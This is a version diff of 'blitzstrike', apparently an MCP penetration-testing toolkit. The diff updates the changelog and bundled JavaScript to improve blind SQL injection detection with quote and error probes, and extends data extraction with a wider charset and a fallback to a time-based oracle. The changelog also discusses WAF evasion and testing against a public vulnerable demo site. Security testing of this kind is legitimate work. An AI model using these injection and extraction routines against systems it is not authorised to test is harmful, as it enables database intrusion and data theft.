blitzstrike 2.4.166 → 2.4.168

package/CHANGELOG.md

@@ -5,6 +5,35 @@ All notable changes to Blitz Strike are documented here.
 The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/).
 
+## [2.4.168] — 2026-10-11
+
+### Fixed — blind_sqli_extract: space extraction + drift-proof time fallback
+
+- Added SPACE (+ parens/comma) to the extraction linear-fallback charset, so
+  version/database strings with embedded spaces (e.g. "Microsoft SQL Server 2012")
+  extract fully instead of stopping at the first space.
+- Auto-fall back to the TIME oracle when a marker-less byte-count boolean oracle
+  extracts nothing — the time oracle is deterministic and immune to page-size
+  drift on dynamic remote pages.
+- Excluded WAF-sensitive chars (#, =, <, >, quotes, %, &, ;, |, *) from the
+  charset: a WAF that strips one of them turns the comparison into `= ''`
+  (always-true past the string end), which previously produced a false trailing run.
+
+## [2.4.167] — 2026-10-11
+
+### Fixed — blind_oracle detection false-negative + false-positive (real target)
+
+- Added QUOTE/ERROR probes (`value'` / `value"`) to `blind_oracle`: a trailing
+  quote that turns a successful (2xx) request into a server error (5xx) is now a
+  `sql_error` signal — error-based SQLi is detected instead of being missed.
+- Arithmetic/coercion "identity" now requires a SUCCESSFUL (2xx) baseline — an
+  error baseline (e.g. a file-include param where `value=1` already 500s) is no
+  longer misread as "evaluated arithmetically", killing a false positive on
+  non-SQL sinks.
+- Verified no-hint on a live target (testasp.vulnweb.com): `id` (error-based
+  SQLi, previously 0 signals) now detected as `sql_error`; `item` (LFI, previously
+  5 false SQL signals) now correctly 0.
+
 ## [2.4.166] — 2026-10-11
 
 ### Added — expanded WAF-bypass techniques (sqlmap + PayloadsAllTheThings)

package/dist/index.js

@@ -62349,6 +62349,12 @@ function sstiProbes(value) {
     { sink: "ssti", name: "mustache_math", payload: `${value}{{7*7}}` }
   ];
 }
+function quoteProbes(value) {
+  return [
+    { sink: "sql_error", name: "single_quote", payload: `${value}'` },
+    { sink: "sql_error", name: "double_quote", payload: `${value}"` }
+  ];
+}
 function xssProbe(value, marker) {
   return { sink: "xss", name: "marker", payload: `${value}${marker}` };
 }
@@ -62363,14 +62369,20 @@ function timeProbes(dbms, value) {
 }
 function classifyBlindProbe(input) {
   const same = input.bodyHash === input.baselineHash;
+  const baselineOk = input.baselineStatus >= 200 && input.baselineStatus < 400;
   let signal = false;
   let reason = "";
-  if (input.sink === "sql_arithmetic" && same) {
+  if (input.sink === "sql_arithmetic" && same && baselineOk) {
     signal = true;
-    reason = "arithmetic identity returned the SAME result as the bare value — the parameter is evaluated arithmetically (SQL/expression context).";
-  } else if (input.sink === "sql_coercion" && same) {
+    reason = "arithmetic identity returned the SAME result as the bare value (both succeeded) — the parameter is evaluated arithmetically (SQL/expression context).";
+  } else if (input.sink === "sql_coercion" && same && baselineOk) {
     signal = true;
     reason = "type-coerced variant returned the SAME result — the parameter is normalized numerically (SQL typed column).";
+  } else if (input.sink === "sql_error") {
+    if (baselineOk && input.status >= 500) {
+      signal = true;
+      reason = `a trailing quote triggered a server error (HTTP ${input.status}) while the bare value succeeded (HTTP ${input.baselineStatus}) — the parameter is interpolated into a SQL string (error-based SQLi).`;
+    }
   } else if (input.sink === "ssti" && !same && /49/.test(input.body)) {
     signal = true;
     reason = "the SSTI arithmetic (7*7) rendered as 49 in the response — the parameter reaches a template engine (SSTI).";
@@ -62401,8 +62413,10 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
     return { error: "baseline fetch failed", base_url: base, param, detail: String(e) };
   }
   const probes = [];
-  if (sinks.includes("sql"))
+  if (sinks.includes("sql")) {
     probes.push(...arithmeticProbes(value));
+    probes.push(...quoteProbes(value));
+  }
   if (sinks.includes("ssti"))
     probes.push(...sstiProbes(value));
   if (sinks.includes("xss"))
@@ -62421,8 +62435,10 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
       const cls = classifyBlindProbe({
         baselineHash,
         baselineSize,
+        baselineStatus,
         bodyHash,
         size: body.length,
+        status,
         sink: p.sink,
         name: p.name,
         body,
@@ -62713,7 +62729,7 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
       }
     }
   }
-  const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_/.-:@";
+  const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_/.-:@(), ";
   const caseInsensitive = p.dbms === "mysql" || p.dbms === "mssql";
   const bsCharset = caseInsensitive ? "0123456789abcdefghijklmnopqrstuvwxyz" : "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
   const baseTpl = (channel === "time" ? p.extraction.time : p.extraction.boolean).replace(/^'/, ctx);
@@ -62776,6 +62792,9 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
     out += ch;
   }
   out = out.trimEnd();
+  if (out.length === 0 && channel === "boolean" && !marker) {
+    return await blindSqliExtract(baseUrl, param, value, dbms, target, { ...opts, channel: "time" });
+  }
   return {
     dbms,
     target,

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "blitzstrike",
-  "version": "2.4.166",
+  "version": "2.4.168",
   "description": "Blitz Strike — a universal MCP security-audit toolbelt. BLITZ sweeps the attack surface, EAGLE-EYE traces source-to-sink, STRIKE verifies live. 57 attack chains, 130-tool catalog, intelligence data layer. One server, every agent.",
   "type": "module",
   "bin": {